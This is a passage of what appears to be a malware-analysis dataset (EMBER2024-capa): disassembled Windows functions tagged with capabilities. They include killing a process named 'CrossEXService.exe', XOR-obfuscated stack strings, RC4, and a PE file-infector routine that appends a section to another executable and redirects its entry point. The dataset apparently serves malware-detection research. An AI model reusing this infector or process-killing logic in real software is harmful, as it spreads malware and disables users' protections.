joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401420
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x138
mov eax, dword [0x40a004]
xor eax, esp
mov dword [esp + 0x130], eax
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
cmp ebx, 0xffffffff
je 0x4014b5
lea eax, [esp + 0x10]
push eax
push ebx
mov dword [esp + 0x18], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4014ae
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
lea ecx, [esp + 0x34]
push str.CrossEXService.exe
push ecx
call fcn.00401809
add esp, 8
test eax, eax
jne 0x40148d
mov edx, dword [esp + 0x18]
push edx
push eax
push 0x1fffff
call edi
mov esi, eax
test esi, esi
jne 0x40149e
lea eax, [esp + 0x10]
push eax
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401464
jmp 0x4014ae
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [esp + 0x13c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0040164c
add esp, 0x138
ret

Function at 0x40164c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a004]
jne 0x401656
repz ret
jmp fcn.004019d1

Function at 0x4043ee
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x34c], 0x57
mov byte [ebp - 0x34b], 0x4a
mov byte [ebp - 0x34a], 0x46
mov byte [ebp - 0x349], 0x40
mov byte [ebp - 0x348], 0x56
mov byte [ebp - 0x347], 0x56
mov byte [ebp - 0x346], 0x6d
mov byte [ebp - 0x345], 0x40
mov byte [ebp - 0x344], 0x44
invalid
invalid
invalid

Function at 0x404a76
Capabilities:
Contain obfuscated stackstrings

Disassembly:
stosd dword es:[edi], eax
stosb byte es:[edi], al
and byte [ebp - 0x12c], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x12b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x654], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x653]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
and byte [ebp - 0x504], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x503]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.00403b81
or byte [eax + 0x2ff845c6], ah
mov byte [ebp - 0x24], 0x34
and byte [ebp - 0x36c], 0
and byte [ebp - 0x36b], 0
mov byte [ebp - 0x36a], 0xaa
and byte [ebp - 0x369], 0
mov byte [ebp - 0x368], 0x12
mov byte [ebp - 0x367], 0x30
mov byte [ebp - 0x366], 0x21
mov byte [ebp - 0x365], 6
mov byte [ebp - 0x364], 0x2c
mov byte [ebp - 0x363], 0x26
mov byte [ebp - 0x362], 0x21
mov byte [ebp - 0x361], 0x30
mov byte [ebp - 0x360], 0x38
mov byte [ebp - 0x35f], 0x11
invalid
call dword [ecx]
Function at 0x404fe0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, dword [ebp - 0x700]
inc eax
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 5
jge 0x404ff9
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
movsx ecx, byte [ebp - 0x24]
xor eax, ecx
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
mov eax, dword [ebp - 0x700]
movsx eax, byte [ebp + eax - 0x394]
not eax
mov ecx, dword [ebp - 0x700]
mov byte [ebp + ecx - 0x394], al
jmp 0x404fa3
call fcn.00403ba3
in eax, dx
wait
lcall 0xfff8, 0xd4a5808f
inc dword [eax]
and byte [ebp - 0x72b], 0
mov byte [ebp - 0x72a], 0xc2
and byte [ebp - 0x729], 0
xlatb
clc
invalid
inc dword [eax]
mov byte [ebp - 0x728], 0x6b
mov byte [ebp - 0x727], 0x54
mov byte [ebp - 0x726], 0x4f
mov byte [ebp - 0x725], 0x49
mov byte [ebp - 0x724], 0x48
mov byte [ebp - 0x723], 0x5c
mov byte [ebp - 0x722], 0x51
mov byte [ebp - 0x721], 0x6d
mov byte [ebp - 0x720], 0x4f
mov byte [ebp - 0x71f], 0x52
mov byte [ebp - 0x71e], 0x49
mov byte [ebp - 0x71d], 0x58
mov byte [ebp - 0x71c], 0x5e
mov byte [ebp - 0x71b], 0x49
mov byte [ebp - 0x71a], 0x3d
call fcn.00403ba3
stc
cmp ebp, eax
mov eax, 0xf8d4858d
invalid
Function at 0x4010c1
Capabilities:
Parse pe header

Disassembly:
call 0x401005
pop ebx
sub ebx, 0x404005
call 0x4010c1
call fcn.004010ff
call fcn.00401448
lea esi, [ebx + 0x405657]
push 0x104
push esi
push 0
mov eax, 0x754c14b1
call eax
lea edi, [ebx + 0x4055a1]
push 0x32
push edi
mov eax, 0x754db66c
call eax
add eax, 0x10
mov dword [ebx + 0x4055e1], eax
lea eax, [ebx + 0x40575b]
push eax
push edi
mov eax, 0x754e2b7a
call eax
push esi
push edi
mov eax, 0x754c3e8e
call eax
or eax, eax
je 0x40107d
call fcn.00401ff5
call fcn.00402528
call fcn.00402560
push dword [ebx + 0x40564f]
ret
lea eax, [ebx + 0x405565]
push eax
push 0
push 0
mov eax, 0x754c4c6b
call eax
lea eax, [ebx + 0x405059]
push 0
push 0
push ebx
push eax
push 0
push 0
mov eax, 0x754c34d5
call eax
lea eax, [ebx + 0x404486]
push 0
push 0
push ebx
push eax
push 0
push 0
call dword [ebx + 0x4040a0]
call fcn.00401808
mov edi, dword [esp + 4]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
jne 0x4010e1
mov esi, edi
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
jne 0x4010e1
jmp 0x4010f8
sub edi, 0x10000
cmp edi, 0x70000000
jae 0x4010f6
mov edi, 0xbff70000
jmp 0x4010f8
jmp 0x4010cb
mov dword [ebx + 0x405653], edi
ret
Function at 0x40167f
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
pushal
push 0
push 0x80
push 3
push 0
push 3
push 0xc0000000
push dword [ebp + 8]
mov eax, 0x754c53c6
call eax
cmp eax, 0xffffffff
je 0x401803
mov dword [ebp - 4], eax
push 0
push 0
push 0
push 4
push 0
push dword [ebp - 4]
mov eax, 0x754c5506
call eax
or eax, eax
je 0x4017fa
mov dword [ebp - 8], eax
push 0
push 0
push 0
push 6
push dword [ebp - 8]
mov eax, 0x754c18f1
call eax
or eax, eax
je 0x4017f1
mov dword [ebp - 0xc], eax
mov esi, eax
cmp word [esi], 0x5a4d
je 0x4016f8
jmp 0x4017e7
cmp word [esi + 0x18], 0x40
je 0x401704
jmp 0x4017e7
add esi, dword [esi + 0x3c]
cmp dword [esi], 0x4550
je 0x401714
jmp 0x4017e7
cmp word [esi + 0x5c], 2
je 0x401720
jmp 0x4017e7
cmp word [esi + 0x1a], 0x815
jne 0x40172d
jmp 0x4017e7
mov eax, dword [esi + 0x28]
add eax, dword [esi + 0x34]
mov dword [ebx + 0x40564f], eax
movzx eax, word [esi + 6]
mov ecx, 0x28
mul ecx
lea edi, [esi]
sub edi, dword [ebp - 0xc]
add eax, edi
add eax, 0x18
movzx edi, word [esi + 0x14]
add eax, edi
mov edi, eax
add edi, dword [ebp - 0xc]
add eax, 0x28
cmp eax, dword [esi + 0x54]
jbe 0x401766
jmp 0x4017e7
inc word [esi + 6]
mov dword [edi], 0x736a78
push dword [esi + 0x50]
pop dword [edi + 0xc]
mov eax, 0x1a54
mov dword [edi + 8], eax
mov ecx, dword [esi + 0x3c]
div ecx
inc eax
mul ecx
mov dword [edi + 0x10], eax
lea eax, [edi - 0x14]
mov eax, dword [eax]
lea ecx, [edi - 0x18]
mov ecx, dword [ecx]
add eax, ecx
mov dword [edi + 0x14], eax
mov dword [edi + 0x24], 0xe0000020
mov eax, dword [edi + 8]
mov ecx, dword [esi + 0x38]
div ecx
inc eax
mul ecx
add eax, dword [esi + 0x50]
mov dword [esi + 0x50], eax
mov eax, dword [edi + 0xc]
mov dword [esi + 0x28], eax
mov word [esi + 0x1a], 0x815
push 0
push 0
push dword [edi + 0x14]
push dword [ebp - 4]
mov eax, 0x754c17d1
call eax
push 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 0x10]
lea eax, [ebx + 0x404000]
push eax
push dword [ebp - 4]
mov eax, 0x754c1282
call eax
push dword [ebp - 0xc]
mov eax, 0x754c1826
call eax
push dword [ebp - 8]
call dword [ebx + 0x405592]
push dword [ebp - 4]
call dword [ebx + 0x405592]
popal
leave
ret 4
Function at 0x40199b
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
xor ecx, ecx
mov dword [ebp - 4], ecx
cld

Function at 0x402130
Capabilities:
Encode data using xor

Disassembly:
aaa
xor dh, byte [edx]
rcr byte [eax + 0x32], cl
xor dh, byte [edx]
jmp 0x40216c
cmpsb byte [esi], byte es:[edi]
mov eax, dword [0x62945fa2]
cmpsb byte [esi], byte es:[edi]
imul esp, dword [ebp - 0x6a], 0x68
xor cl, byte [edx - 0x65e42559]
in eax, 0x27
sbb esi, 0x4ab680d5
movsb byte es:[edi], byte [esi]
add dword gs:[edx], ebp
clc
and dword [ebx - 0x14bce249], esi
adc eax, 0xe7888232
inc esi
sub byte [edx - 0x65e42559], cl
in eax, 0x27
sbb esi, 0x4ab680d5
movsb byte es:[edi], byte [esi]
add dword gs:[edx], ebp
clc
and dword [ebx - 0x14bce249], esi
adc eax, 0xe7888232
mov bh, ah
inc esi
sub byte [eax + 0x3b323232], bh
xor dh, byte [edx]
sal byte [ebx + 0x32], cl
xor dl, dl
jae 0x4021f4
xor dh, byte [edx]
arpl word [ebp - 0x43eb7a7e], ax
mov bh, byte [eax - 0x12]
jle 0x402239
jne 0x4021be
inc ebp
lds ebx, [eax - 0x36]
lahf
add byte [edi + 0x32], dl
xor dh, byte [edx]
xor dh, byte ss:[edx]
xor dh, byte [edx]
push ecx
xor dh, byte [edx]
xor bh, byte [ebx]
xor dh, byte [edx]
xor al, byte [ebp + 0x63325f32]
xor bl, byte [edi + 0x32]
xor bl, byte [bx + 0x32]
arpl word [edx], si
xor ah, byte [ebx + 0x32]
push 0x32
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
imul esi, dword [edx], 0x32
xor ah, byte [ebx - 0x7b]
add byte [ebp + 0x769f48e3], 0xdf
mov edi, 0x7ad97aa2
jb 0x402275
salc
outsd dx, dword [esi]
stosb byte es:[edi], al
mov esi, 0x3232324f
lcall 0x327a, 0x32323232
xor dh, byte [edx]
cmp eax, 0xdc47a57e
jl 0x40221d
jle 0x40220e
cmpsd dword [esi], dword es:[edi]
jo 0x4021b4
xor dword [esi + ebx*8 - 0x1b], 0x32323232
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
jle 0x402276
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
xor bh, byte [esi + 0x32]
xor dh, byte [edx]
xor eax, dword [esi + 0x34]
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, dl
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
js 0x402258
jb 0x40228b
xor dh, byte [edx]
push edx
xor dh, byte [edx]
xor dl, byte [ebp - 0x69]
xor dl, byte [edx + 0x32]
xor dh, byte [edx]
push ebp
xchg edi, eax
fstp dword [esi - 0x36]
dec ebx
or dword [ebx], esi
push ebp
xchg edi, eax
fstp dword [esi - 0x36]
dec ebx
or dword [ebx], esi
push ebp
xchg edi, eax
fstp dword [esi - 0x36]
dec ebx
or dword [ebx], esi
xor ebx, edx
ret 0x3233
fcmovb st(0), st(2)
xor esi, dword [edx]
xor dh, byte [edx]
xor dh, byte [edx]
xor esi, dword [edx]
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
xor dh, byte [edx]
dec ebx
xor al, 0x46
xor dh, byte [edx]
xor cl, byte [ebx + 0x34]
inc esi
xor dl, byte [ecx - 0x7e]
adc al, byte [ecx + 0x6c1c5202]
wait
inc edx
aam 0xa
cmp dh, byte [edx]
pop ebp
bound esp, qword [edx - 0x31]
dec ebx
xor ah, byte [ecx + 0x75]
insb byte es:[edi], dx
invalid
Function at 0x1001ea60
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100dc94b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x3c
push esi
mov eax, dword [0x100f5008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [0x101078c0]
test al, 1
jne 0x1001ebab
or eax, 1
mov dword [0x101078c0], eax
mov dword [ebp - 4], 0
mov eax, 0x10
movaps xmm0, xmmword [0x100ea440]
pxor xmm0, xmmword [0x100e9f50]
mov dword [ebp - 0x20], 0x8c938c93
mov dword [ebp - 0x1c], 0xea8cee94
mov word [ebp - 0x18], 0xac9d
movups xmmword [ebp - 0x30], xmm0
xor byte [ebp + eax - 0x30], 0xac
inc eax
cmp eax, 0x1a
jb 0x1001eae4
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x34], 0
movups xmmword [ebp - 0x48], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1001eb10
sub ecx, edx
lea eax, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.10027260
mov byte [ebp - 4], 1
mov edx, dword [0x101248a4]
test edx, edx
je 0x1001eb39
mov edx, dword [edx + 0x50]
jmp 0x1001eb3b
xor edx, edx
mov eax, dword [0x1012489c]
test eax, eax
je 0x1001eb49
mov eax, dword [eax + 0x18]
jmp 0x1001eb4b
xor eax, eax
lea ecx, [ebp - 0x48]
push ecx
push eax
lea ecx, [ebp - 0x14]
call fcn.1001e560
mov eax, dword [ebp - 0x14]
add esp, 8
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x34]
mov dword [0x101078c4], eax
cmp ecx, 0x10
jb 0x1001eba2
mov edx, dword [ebp - 0x48]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1001eb93
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x1001eb93
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100dab01
mov eax, dword [0x101078c4]
add esp, 8
mov dword [ebp - 4], 0xffffffff
jmp 0x1001ebb0
mov eax, dword [0x101078c4]
test eax, eax
je 0x1001ebb8
mov ecx, esi
call eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x10026fe0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100dcc85
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push esi
push edi
mov eax, dword [0x100f5008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
mov dword [ebp - 0x10], ecx
push 0x45c
call fcn.100da6a2
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0
lea edi, [eax + 0xc]
xorps xmm0, xmm0
mov dword [ebp - 0x1c], edi
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov dword [eax + 4], 1
mov dword [eax + 8], 1
mov dword [eax], 0x100e85c0
mov eax, dword [esi]
mov dword [edi + 0x10], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], 0
mov dword [edi + 0x40], 0
mov dword [edi + 0x44], 0
mov dword [edi + 0x48], 0
mov dword [edi + 0x4c], 0
mov dword [edi + 0x50], 0
mov dword [edi + 0x54], 0
mov dword [edi + 0x58], 0
mov dword [edi + 0x5c], 0
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0
mov dword [edi + 0x68], 0
mov dword [edi + 0x6c], 0
mov dword [edi + 0x70], 0
mov dword [edi + 0x74], 0
mov dword [edi + 0x78], 0
mov dword [edi + 0x3c4], 0
mov dword [edi + 0x3c8], 0
mov dword [edi + 0x3cc], 0
mov dword [edi + 0x3d0], 0
mov dword [edi + 0x3d4], 0
mov dword [edi + 0x3d8], 0
mov dword [edi + 0x3dc], 0
mov dword [edi + 0x3e0], 0
mov byte [edi + 0x3e4], 0
mov dword [edi + 0x3e8], 0
mov byte [edi + 0x3ec], 0
mov dword [edi + 0x3f0], 0
mov dword [edi + 0x3f4], 0
mov dword [edi + 0x3f8], 0
mov dword [edi + 0x3fc], 0
mov dword [edi + 0x400], 0
mov dword [edi + 0x404], 0
mov byte [edi + 0x411], 0
mov byte [edi + 0x418], 0
mov byte [edi + 0x41a], 0
mov dword [edi + 0x430], 0
movups xmmword [edi + 0x434], xmm0
mov dword [edi + 0x444], 0
mov dword [edi + 0x448], 0xf
mov byte [edi + 0x434], 0
push eax
mov ecx, edi
mov byte [ebp - 4], 1
call fcn.1001ec80
mov ecx, dword [ebp - 0x10]
xorps xmm0, xmm0
mov eax, dword [ebp - 0x14]
movq qword [ecx], xmm0
mov dword [ecx + 4], 0
mov dword [ecx + 4], eax
mov eax, ecx
mov dword [ecx], edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x1002c5f0
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100f5008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
movss xmm3, dword [0x100e9ad0]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
movzx eax, cl
push esi
push edi
mov edi, dword [ebp + 8]
movd xmm0, eax
mov eax, ecx
shr eax, 8
movzx eax, al
shr ecx, 0x10
cvtdq2ps xmm0, xmm0
movd xmm1, eax
movzx eax, cl
mulss xmm0, xmm3
cvtdq2ps xmm1, xmm1
movd xmm2, eax
mulss xmm1, xmm3
cvtdq2ps xmm2, xmm2
mulss xmm2, xmm3
test edi, edi
je 0x1002c6fe
mov eax, dword [edi]
sub esp, 0xc
mov ecx, edi
mov eax, dword [eax + 0x70]
movss dword [esp + 8], xmm2
movss dword [esp + 4], xmm1
movss dword [esp], xmm0
call eax
mov dword [ebp - 0x10], 0xdac2c988
xor eax, eax
mov dword [ebp - 0xc], 0xd8dccdc1
mov dword [ebp - 8], 0xacd8c2c5
xor byte [ebp + eax - 0x10], 0xac
inc eax
cmp eax, 0xc
jb 0x1002c687
mov eax, dword [edi]
lea ecx, [ebp - 0x10]
push 1
push 0
push ecx
mov eax, dword [eax + 0x2c]
mov ecx, edi
call eax
mov esi, eax
test esi, esi
je 0x1002c725
movzx ecx, byte [ebp - 0x16]
sub esp, 0xc
movss xmm1, dword [0x100e9ad0]
mov eax, dword [ebp - 0x1c]
mov edx, dword [esi]
movd xmm0, ecx
cvtdq2ps xmm0, xmm0
movzx ecx, ah
movzx eax, al
mulss xmm0, xmm1
movss dword [esp + 8], xmm0
movd xmm0, ecx
mov ecx, esi
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm1
movss dword [esp + 4], xmm0
movd xmm0, eax
mov eax, dword [edx + 0x2c]
cvtdq2ps xmm0, xmm0
mulss xmm0, xmm1
movss dword [esp], xmm0
call eax
jmp 0x1002c725
mov ecx, dword [0x10124910]
lea edx, [ebp - 0x14]
movss dword [ebp - 0x14], xmm0
movss dword [ebp - 0x10], xmm1
movss dword [ebp - 0xc], xmm2
mov dword [ebp - 8], 0x3f800000
mov eax, dword [ecx]
push edx
mov eax, dword [eax + 0x18]
call eax
mov eax, dword [edi]
mov ecx, edi
mov esi, dword [ebp + 0x14]
push esi
push 0x400
mov eax, dword [eax + 0x74]
call eax
mov eax, dword [edi]
mov ecx, edi
push esi
push 0x4000
mov eax, dword [eax + 0x74]
call eax
mov eax, dword [edi]
mov ecx, edi
push esi
push 0x8000
mov eax, dword [eax + 0x74]
call eax
mov ecx, dword [0x10124920]
push 0
push 0
push edi
mov eax, dword [ecx]
mov eax, dword [eax + 0x84]
call eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100da686
mov esp, ebp
pop ebp
ret 0x10
Function at 0x1002e7f0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100f5008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
cmp dword [esi + 0x38], 0
je 0x1002e8ac
cmp byte [esi + 0x3d], 0
je 0x1002e8ac
mov eax, dword [esi]
push edi
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
je 0x1002e89a
mov ecx, dword [esi + 0x38]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::unshift_struct__Mbstatet___char___char___char___const]
sub eax, 0
je 0x1002e861
sub eax, 1
je 0x1002e865
sub eax, 2
jne 0x1002e89a
mov byte [esi + 0x3d], al
mov al, 1
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100da686
mov esp, ebp
pop ebp
ret
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x28]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1002e883
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1002e89a
cmp byte [esi + 0x3d], 0
pop edi
sete al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100da686
mov esp, ebp
pop ebp
ret
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100da686
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov al, 1
xor ecx, ebp
pop esi
call fcn.100da686
mov esp, ebp
pop ebp
ret
Function at 0x100309c0
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100dd2b6
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x40
mov eax, dword [0x100f5008]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 4], 0
mov eax, dword [0x1012acb8]
test al, 1
jne 0x10030b01
or eax, 1
mov dword [0x1012acb8], eax
mov byte [ebp - 4], 1
mov eax, 0x10
movaps xmm0, xmmword [0x100ea440]
pxor xmm0, xmmword [0x100ea190]
mov dword [ebp - 0x3c], 0x95ea8cee
mov dword [ebp - 0x38], 0x8ceaea8c
mov word [ebp - 0x34], 0x999d
mov byte [ebp - 0x32], 0xac
movups xmmword [ebp - 0x4c], xmm0
nop dword [eax]
xor byte [ebp + eax - 0x4c], 0xac
inc eax
cmp eax, 0x1b
jb 0x10030a50
xorps xmm0, xmm0
mov dword [ebp - 0x20], 0
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x30], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10030a76
sub ecx, edx
lea eax, [ebp - 0x4c]
push ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.10027260
mov byte [ebp - 4], 2
mov edx, dword [0x101248bc]
test edx, edx
je 0x10030a9f
mov edx, dword [edx + 0x50]
jmp 0x10030aa1
xor edx, edx
mov eax, dword [0x101248b4]
test eax, eax
je 0x10030aaf
mov eax, dword [eax + 0x18]
jmp 0x10030ab1
xor eax, eax
lea ecx, [ebp - 0x30]
push ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.1001e560
mov eax, dword [ebp - 0x18]
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x1c]
mov dword [0x1012acb4], eax
cmp ecx, 0x10
jb 0x10030afd
mov edx, dword [ebp - 0x30]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10030af3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x10030b4c
push ecx
push edx
call fcn.100dab01
add esp, 8
mov byte [ebp - 4], 0
cmp dword [ebx + 0x1c], 0x10
lea ecx, [ebx + 8]
lea edx, [ebp - 0x18]
mov dword [ebp - 0x18], 0x65656863
cmovae ecx, dword [ebx + 8]
mov word [ebp - 0x14], 0x6573
mov byte [ebp - 0x12], 0
call dword [0x1012acb4]
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x10030b5c
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10030b52
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x10030b52
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.100dab01
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x18
Function at 0x10030b70
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp byte [0x101053b0], 0
push ebx
push esi
push edi
je 0x10030cfe
mov ecx, dword [0x101248ec]
mov eax, dword [ecx]
mov eax, dword [eax + 0x68]
call eax
test al, al
je 0x10030cfe
mov ecx, dword [0x10124974]
xor ebx, ebx
mov dword [ebp - 4], ecx
mov eax, dword [ecx + 0x28]
mov dword [ebp - 8], eax
test eax, eax
je 0x10030cfe
mov eax, dword [ecx + 0x1c]
mov ecx, dword [eax + ebx*4]
mov eax, dword [ecx]
mov eax, dword [eax + 0x30]
call eax
mov esi, eax
mov edi, 0x811c9dc5
xor ecx, ecx
nop word [eax + eax]
inc ecx
cmp byte [ecx + esi], 0
jne 0x10030bd0
xor edx, edx
test ecx, ecx
je 0x10030bf9
nop dword [eax]
movsx eax, byte [edx + esi]
inc edx
xor eax, edi
imul edi, eax, 0x1000193
cmp edx, ecx
jb 0x10030be0
cmp edi, 0x5ff56dc5
je 0x10030c08
inc ebx
cmp ebx, dword [ebp - 8]
jae 0x10030cfe
mov ecx, dword [ebp - 4]
jmp 0x10030bb4
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x1c]
mov edi, dword [eax + ebx*4]
test edi, edi
je 0x10030cfe
mov edx, dword [edi + 0x88]
test edx, edx
je 0x10030cfe
movss xmm1, dword [0x100e9bd0]
xor ebx, ebx
cmp edx, 4
jl 0x10030ccb
mov ecx, dword [edi + 0x7c]
lea esi, [edx - 4]
shr esi, 2
add ecx, 0x1078
inc esi
lea ebx, [esi*4]
movss xmm0, dword [ecx - 0xc60]
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jp 0x10030c6c
mov dword [ecx - 0xc60], 0x7f7fffff
movss xmm0, dword [ecx - 0x840]
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jp 0x10030c87
mov dword [ecx - 0x840], 0x7f7fffff
movss xmm0, dword [ecx - 0x420]
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jp 0x10030ca2
mov dword [ecx - 0x420], 0x7f7fffff
movss xmm0, dword [ecx]
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jp 0x10030cb5
mov dword [ecx], 0x7f7fffff
add ecx, 0x1080
sub esi, 1
jne 0x10030c51
cmp ebx, edx
jl 0x10030ccf
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
test edx, edx
jle 0x10030cfe
imul ecx, ebx, 0x420
add ecx, 0x418
add ecx, dword [edi + 0x7c]
sub edx, ebx
movss xmm0, dword [ecx]
ucomiss xmm0, xmm1
lahf
test ah, 0x44
jp 0x10030cf3
mov dword [ecx], 0x7f7fffff
add ecx, 0x420
sub edx, 1
jne 0x10030ce0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret